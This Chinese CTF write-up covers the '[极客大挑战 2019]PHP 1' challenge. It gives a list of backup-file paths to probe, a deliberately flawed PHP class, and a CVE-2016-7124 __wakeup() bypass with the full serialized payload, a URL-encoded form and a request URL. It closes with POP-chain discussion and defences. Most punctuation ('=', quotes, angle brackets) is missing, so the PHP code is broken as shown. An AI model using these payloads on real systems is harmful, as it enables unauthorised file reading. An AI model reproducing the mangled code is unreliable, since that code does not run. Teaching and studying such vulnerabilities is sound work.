
1. 项目概述一次典型的PHP反序列化漏洞实战最近在整理CTFCapture The Flag比赛的题目笔记翻到了这道经典的“[极客大挑战 2019]PHP 1”。这道题虽然年份不算新但它像一块“试金石”非常清晰地展示了PHP反序列化漏洞的核心攻击链和防御盲点。很多刚接触Web安全的同学对反序列化的理解可能还停留在“魔术方法自动调用”的层面但具体怎么找入口、怎么构造利用链、怎么绕过常见的防御函数往往缺乏一个连贯的实战案例。这道题正好把这些知识点串了起来从信息泄露到代码审计再到最终的Payload构造每一步都踩在了关键点上。简单来说这道题模拟了一个常见的场景一个网站可能存在备份文件泄露泄露的源码中包含了存在缺陷的类定义。攻击者通过反序列化一个精心构造的对象可以触发类中的魔术方法最终达到读取网站敏感文件比如flag的目的。它涉及了__wakeup()、__destruct()等魔术方法以及preg_match、strpos等常见函数的绕过技巧。接下来我就结合当时的解题思路和后续的复盘把整个过程拆解一遍不仅讲怎么做更重点讲清楚为什么这么做以及其中容易踩的坑。2. 解题思路与代码审计拆解面对任何CTF题目尤其是Web类第一步永远是信息收集。盲目测试效率极低有方向地探测才能快速定位漏洞点。2.1 信息收集与入口点发现题目通常只给一个简单的页面。我做的第一件事就是进行目录和敏感文件扫描。使用工具如dirsearch或gobuster是标准操作但手动尝试一些常见备份文件路径往往更快。# 常用备份文件后缀 index.php.bak index.php.swp www.zip website.tar.gz .git/在本题中尝试访问www.zip或website.zip是突破口。果然访问/www.zip下载到了一个源码压缩包。这本身就是一种常见漏洞——备份文件泄露。解压后我们得到了网站的源代码这是进行白盒代码审计的基础。注意在实际渗透测试或CTF中养成检查常见备份文件、版本控制目录如.git/,.svn/的习惯至关重要。很多低级失误都源于此。2.2 核心源码分析与漏洞定位解压后的源码通常包含多个文件。我们需要快速定位到处理用户输入的核心文件一般是index.php或包含表单处理的文件。本题的核心代码通常存在于index.php或一个名为class.php的文件中。审计时要重点关注以下几个关键点反序列化函数unserialize()。这是漏洞的触发点。用户可控输入$_GET,$_POST,$_COOKIE等特别是$_COOKIE因为反序列化漏洞经常通过Cookie传递Payload。魔术方法查找包含__wakeup(),__destruct(),__toString(),__get(),__call()等方法的类定义。假设我们在index.php中发现了如下关键代码?php include class.php; $select $_GET[select]; $res unserialize($select); ?这非常明显unserialize()的参数直接来自于$_GET[select]完全可控。接下来我们就需要去看被包含的class.php里面定义了哪些类以及这些类的魔术方法做了什么。2.3 漏洞类设计与魔术方法解析class.php的内容是整个漏洞的灵魂。我们假设它定义了如下一个类为讲解清晰我进行了简化和注释?php class Name{ private $username noname; private $password 123456; public function __construct($username, $password){ $this-username $username; $this-password $password; } function __wakeup(){ $this-username guest; } function __destruct(){ if ($this-password ! 100) { echo /brNO!!!hacker!!!/br; echo You name is: ; echo $this-username;echo /br; echo You password is: ; echo $this-password;echo /br; die(); } if ($this-username admin) { global $flag; echo $flag; }else{ echo /brhello my friend~~/brsorry i cant give you the flag!; die(); } } } ?代码逻辑拆解__construct构造函数在创建对象时调用用于初始化属性。这里将传入的参数赋值给$username和$password。__wakeup()反序列化唤醒魔术方法这是关键之一。当unserialize()函数反序列化一个对象时如果该对象的类中定义了__wakeup()方法则该方法会自动被调用。本题中__wakeup()方法将$username强制重置为guest。这看起来像是一个防御措施意图阻止我们将$username设置为admin。__destruct()析构函数这是另一个关键。当对象被销毁例如脚本执行结束时此方法会自动调用。它的逻辑决定了我们能否拿到flag首先检查$password是否等于100。如果不等于则输出一些信息并终止脚本。如果$password等于100则再检查$username是否等于admin。如果是则输出全局变量$flag否则输出错误信息并终止。漏洞利用链梳理我们的目标是让__destruct()方法中的两个if条件都满足。条件一$password 100。条件二$username admin。但是这里存在一个明显的矛盾__wakeup()方法会在反序列化后立即执行并将$username重置为guest这直接破坏了第二个条件。因此这道题的核心挑战就变成了如何绕过__wakeup()方法对$username的重置3. 关键漏洞利用与Payload构造3.1 CVE-2016-7124__wakeup()绕过漏洞在PHP 5.6.25之前和PHP 7.0.10之前的版本中存在一个著名的反序列化漏洞编号CVE-2016-7124。这个漏洞的利用条件非常简单当序列化字符串中表示对象属性个数的值大于其真实的属性个数时__wakeup()方法将不会被调用。我们来看一下正常情况下Name类对象的序列化字符串。假设我们创建一个对象new Name(admin, 100)。在PHP中序列化后的字符串大致如下注意私有属性private在序列化时类名会被包含在属性名中格式为%00类名%00属性名%00是空字符的URL编码O:4:Name:2:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}解释一下O:4:Name表示一个对象Object类名长度为4类名是Name。:2:表示这个对象有2个属性。{...}里面是属性的键值对。漏洞利用方法我们手动修改这个序列化字符串将表示属性数量的2改为一个更大的数字例如3O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}当PHP反序列化这个被篡改的字符串时由于声明的属性数量(3)大于实际属性数量(2)__wakeup()方法就会被绕过不再执行。这样$username的值admin就被保留了下来。实操心得在CTF中遇到__wakeup()进行属性重置时首先要考虑的就是这个CVE。但在实际现代PHP环境中版本7.0.10此漏洞已修复。CTF题目为了考察这个知识点通常会将环境设置在存在漏洞的PHP版本上。3.2 构造最终Payload现在我们知道了绕过方法。构造Payload的步骤如下编写一个本地脚本生成正常的序列化字符串。这是为了避免手动处理私有属性和空字符带来的麻烦。?php class Name{ private $username noname; private $password 123456; public function __construct($u, $p){ $this-username $u; $this-password $p; } } $obj new Name(admin, 100); echo serialize($obj); // 输出: O:4:Name:2:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;} ?修改属性数量将上面的输出中的:2:修改为:3:或其他大于2的数字。O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}URL编码由于序列化字符串中包含空字符%00在通过GET参数传递时需要确保它被正确编码。有时直接复制粘贴%00可能不行最好对整个Payload进行一次URL编码。注意已有的%符号需要双重编码%变成%25。原始字符串中的%00Name%00已经是URL编码形式。对整个字符串进行URL编码后%会变成%25。最终用于传递的Payload可能类似具体取决于服务器处理方式O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%2500Name%2500username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%2500Name%2500password%22%3Bi%3A100%3B%7D一种更稳妥的方法是在Burp Suite或浏览器的开发者工具中直接修改请求参数避免命令行下的编码问题。发起请求将构造好的Payload赋值给select参数。http://靶机地址/index.php?selectO:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}如果一切顺利脚本会执行__destruct()因为$password100且$usernameadmin从而打印出全局变量$flag。4. 漏洞原理深度剖析与拓展思考这道题虽然解完了但背后的原理值得深入咀嚼。它不仅仅是一个CVE的简单应用。4.1 反序列化漏洞的本质PHP反序列化漏洞的本质是将用户可控的数据传递给unserialize()函数导致应用程序反序列化出攻击者精心设计的对象从而控制对象的属性并触发对象类中自动执行的魔术方法最终执行攻击者意图的代码逻辑。关键在于“自动执行”。__wakeup()和__destruct()这类魔术方法为攻击者提供了在反序列化过程中“夹带私货”并自动执行的机会。即使这些方法里没有直接的危险函数如system()通过控制对象属性也可能触发其他危险操作比如__destruct()中删除文件unlink()。__toString()中被当做字符串处理时触发其他属性中的方法。__get()/__set()访问不存在的属性时触发复杂逻辑。4.2 属性数量绕过的底层原理浅析为什么修改属性数量就能绕过__wakeup()这涉及到PHP内核Zend Engine处理反序列化的逻辑。在存在漏洞的版本中反序列化过程大致如下解析序列化字符串创建对象骨架。读取声明的属性数量N。如果类定义了__wakeup()将其加入执行队列。开始循环读取N个属性并赋值给对象。所有属性赋值完成后执行队列中的__wakeup()。漏洞在于如果实际读取到的属性数量小于声明的N解析器可能会提前结束或状态异常导致第3步中注册的__wakeup()回调没有被成功触发。这是一种程序状态机处理边界条件时的错误。注意事项这个漏洞的利用非常依赖PHP版本。在现代PHP开发中不能依赖此漏洞进行防御绕过。它更重要的意义是提醒我们对用户输入进行反序列化是极度危险的操作。4.3 现代PHP中的防御与安全实践在最新版本的PHP中单纯依靠CVE-2016-7124已经行不通。那么如何防御反序列化漏洞呢根本方法避免反序列化不可信数据这是最有效的方法。如果业务上必须使用序列化传递数据可以考虑使用JSONjson_encode/json_decode等更安全的格式。JSON没有“自动执行”的概念。使用允许类白名单在PHP 7.0中unserialize()函数增加了第二个可选参数$options。可以指定[allowed_classes false]来禁止反序列化任何对象类所有对象都会被反序列化为__PHP_Incomplete_Class对象其方法无法被调用。或者allowed_classes可以指定一个允许反序列化的类名数组白名单。这是推荐的做法。// 禁止所有类对象反序列化 $data unserialize($input, [allowed_classes false]); // 只允许反序列化 ‘MySafeClass’ 类 $data unserialize($input, [allowed_classes [MySafeClass]]);签名与校验如果序列化数据需要在不同服务间传递可以对序列化后的字符串进行签名如HMAC。在反序列化前先验证签名确保数据未被篡改。代码审计时关注危险起点作为开发者或安全审计人员在代码中全局搜索unserialize(检查其参数是否用户可控。审查所有包含魔术方法尤其是__wakeup,__destruct,__toString,__call,__get,__set的类确保其中没有危险操作或者危险操作的参数完全不可控。5. 实战演练与常见问题排查理论讲完了我们模拟一个更接近实战的复杂场景并总结常见问题。5.1 复杂利用链的想象与构建真实的漏洞很少像这道题一样直接。更常见的是“POP链”的构造Property-Oriented Programming面向属性编程。攻击者需要从源码中找到一个“起始魔法方法”如__destruct然后通过控制对象的属性让程序在执行过程中调用另一个对象的魔法方法或普通方法像链条一样一环扣一环最终到达一个能执行危险代码或读取敏感文件的方法如file_get_contents()。假设我们审计的class.php更复杂class FileHandler { public $filename; function __destruct() { if (file_exists($this-filename)) { echo file_get_contents($this-filename); } } } class User { public $info; function __wakeup() { if (isset($this-info-avatar)) { // 做一些其他操作... } } } class Avatar { public $path; function __toString() { return $this-path; } }这里可能存在一条链我们可控一个User对象的反序列化。User-__wakeup()会访问$this-info-avatar。如果我们将$this-info设置为一个FileHandler对象那么访问avatar属性假设不存在可能会触发FileHandler的__get()方法如果存在的话。或者如果Avatar类的__toString()方法被调用例如在字符串上下文中使用$avatar对象而$this-path我们可控那么它可能被传递给某个文件操作函数。寻找POP链需要耐心和对代码执行流的深刻理解。工具如PHPGGCPHP Generic Gadget Chains收集了常见PHP框架如Laravel, Symfony, ThinkPHP中的通用利用链在实战中非常有用。5.2 常见问题与调试技巧在构造和利用反序列化Payload时你可能会遇到以下问题问题1Payload提交后没有任何输出或者报错。排查思路检查PHP版本确认靶机环境是否支持CVE-2016-7124。可以在题目描述或通过phpinfo()信息泄露确认。检查属性修饰符私有private和保护protected属性在序列化字符串中的表示格式很特殊。私有属性包含类名和空字符%00保护属性名前有一个*号。用脚本生成序列化字符串是最可靠的方式不要手动拼接。检查字符编码和长度序列化字符串中的s:5:admin表示长度为5的字符串。如果你把admin改成了admin1必须把5改成6否则反序列化会失败。查看服务器错误日志如果可能查看error_log里面会有反序列化失败的具体原因如unserialize(): Error at offset X of Y bytes。问题2__wakeup()似乎还是被执行了。排查思路确认属性数量确保你修改的数字大于真实属性数量。对于上面的Name类有两个私有属性所以数字必须大于2。确认Payload完整性在修改数字后确保后面花括号{}内的属性键值对没有多写或少写。属性数量声明多了但后面的数据格式必须依然正确。问题3如何快速验证Payload是否有效本地搭建测试环境在Docker中快速拉取一个带漏洞版本的PHP如php:5.6.24-apache将题目源码复制进去在本地构造Payload并测试。这是最稳妥的方法。使用PHP交互模式在命令行中用php -a进入交互模式粘贴包含类定义和反序列化操作的代码进行测试。php include class.php; php $p O:4:Name:3:{s:14:%00Name%00username;s:5:admin;s:14:%00Name%00password;i:100;}; php $obj unserialize($p); php var_dump($obj); // 观察对象属性是否如预期问题4除了GET参数还有哪些常见的反序列化入口点Cookie非常常见。例如某些框架会将用户信息序列化后存储在Cookie中。检查形如unserialize($_COOKIE[user])的代码。SessionPHP的Session处理器如php_serialize可能会序列化数据。如果Session数据存储方式可控如存储在数据库或文件中的内容用户可部分影响也可能构成反序列化漏洞。数据库/缓存从数据库或Redis中读取出的数据如果被直接反序列化且该数据此前由用户输入序列化后存入则同样存在风险。文件上传如果上传的文件内容被读取并直接传递给unserialize()那么上传一个包含恶意序列化数据的文本文件就可能触发漏洞。这道“[极客大挑战 2019]PHP 1”就像一把钥匙帮你打开了PHP反序列化漏洞的大门。从信息收集发现备份文件到代码审计定位unserialize()和魔术方法再到利用特定CVE绕过防御构造Payload最后在实战中拓展到POP链的思维和防御方法它完整地呈现了一个漏洞从发现到利用的全过程。理解了这个过程你再去看那些复杂的、关于ThinkPHP、Laravel反序列化漏洞的分析文章就会发现它们的内核原理都是相通的只是在利用链的复杂度和寻找难度上有所增加。在安全领域基础概念的理解深度直接决定了你分析复杂问题的能力上限。